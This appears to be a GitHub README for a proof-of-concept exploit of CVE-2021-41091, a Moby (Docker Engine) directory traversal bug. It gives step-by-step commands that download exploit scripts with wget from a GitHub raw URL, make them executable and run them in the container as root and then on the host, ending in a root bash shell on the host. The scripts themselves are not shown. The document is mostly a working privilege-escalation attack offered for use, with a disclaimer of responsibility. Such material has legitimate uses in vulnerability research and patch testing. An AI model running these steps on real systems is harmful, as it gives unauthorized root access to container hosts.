jrbh4ck/cve-2021-41091Proof-of-concept exploit for CVE-2021-41091: Moby (Docker Engine) directory traversal allowing unprivileged users to execute SUID binaries from container on host. Includes PoC scripts for Ubuntu 20.04.
A bug in Moby (Docker Engine) allows unprivileged users to traverse directories and execute programs directly from the container on the host machine. If there is a suid program in the container, the user will be able to execute it as suid on the host machine.
In the container's terminal, download the docker.sh file, then run it as root user:
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh
chmod +x docker.sh
./docker.sh
Now on the host machine, download the principal.sh file and run it:
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/principal.sh
chmod +x principal.sh
./principal.sh
Run the command provided by the script and we will be able to execute /bin/bash as root.
These scripts were tested on Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64) with Moby version 20.10.5+dfsg1
THE USE OF THIS REPOSITORY IS THE RESPONSIBILITY OF WHOEVER USES IT AND NOT OF THE AUTHOR.